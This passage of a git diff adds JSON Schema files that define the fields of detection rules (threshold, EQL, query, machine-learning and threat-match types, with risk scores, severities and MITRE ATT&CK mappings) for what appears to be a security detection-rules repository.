"additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threat_filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "threat_index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat_indicator_path": { + "type": "string" + }, + "threat_language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "threat_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "entries": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "type": { + "type": "string" + }, + "value": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + } + }, + "required": [ + "field", + "type", + "value" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "entries" + ], + "type": "object" + }, + "type": "array" + }, + "threat_query": { + "type": "string" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threat_index", + "threat_mapping", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.13/7.13.threshold.json b/etc/api_schemas/7.13/7.13.threshold.json new file mode 100644 index 000000000..a1dee6fb7 --- /dev/null +++ b/etc/api_schemas/7.13/7.13.threshold.json @@ -0,0 +1,384 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "cardinality": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "type": "array" + }, + "field": { + "description": "CardinalityFields", + "items": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "maxItems": 3, + "type": "array" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threshold", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.14/7.14.base.json b/etc/api_schemas/7.14/7.14.base.json new file mode 100644 index 000000000..1c5e03eac --- /dev/null +++ b/etc/api_schemas/7.14/7.14.base.json @@ -0,0 +1,322 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query", + "saved_query", + "machine_learning", + "eql", + "threshold", + "threat_match" + ], + "enumNames": [], + "type": "string" + } + }, + "required": [ + "author", + "description", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.14/7.14.eql.json b/etc/api_schemas/7.14/7.14.eql.json new file mode 100644 index 000000000..0b8b7ada6 --- /dev/null +++ b/etc/api_schemas/7.14/7.14.eql.json @@ -0,0 +1,333 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "enum": [ + "eql" + ], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "eql" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} diff --git a/etc/api_schemas/7.14/7.14.machine_learning.json b/etc/api_schemas/7.14/7.14.machine_learning.json new file mode 100644 index 000000000..4243f62bf --- /dev/null +++ b/etc/api_schemas/7.14/7.14.machine_learning.json @@ -0,0 +1,335 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "anomaly_threshold": { + "format": "integer", + "type": "number" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "type": "string" + }, + "machine_learning_job_id": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "type": "array" + } + ] + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "anomaly_threshold", + "author", + "description", + "machine_learning_job_id", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.14/7.14.query.json b/etc/api_schemas/7.14/7.14.query.json new file mode 100644 index 000000000..d692c422c --- /dev/null +++ b/etc/api_schemas/7.14/7.14.query.json @@ -0,0 +1,335 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.14/7.14.threat_match.json b/etc/api_schemas/7.14/7.14.threat_match.json new file mode 100644 index 000000000..c8001644f --- /dev/null +++ b/etc/api_schemas/7.14/7.14.threat_match.json @@ -0,0 +1,426 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "concurrent_searches": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "items_per_search": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + 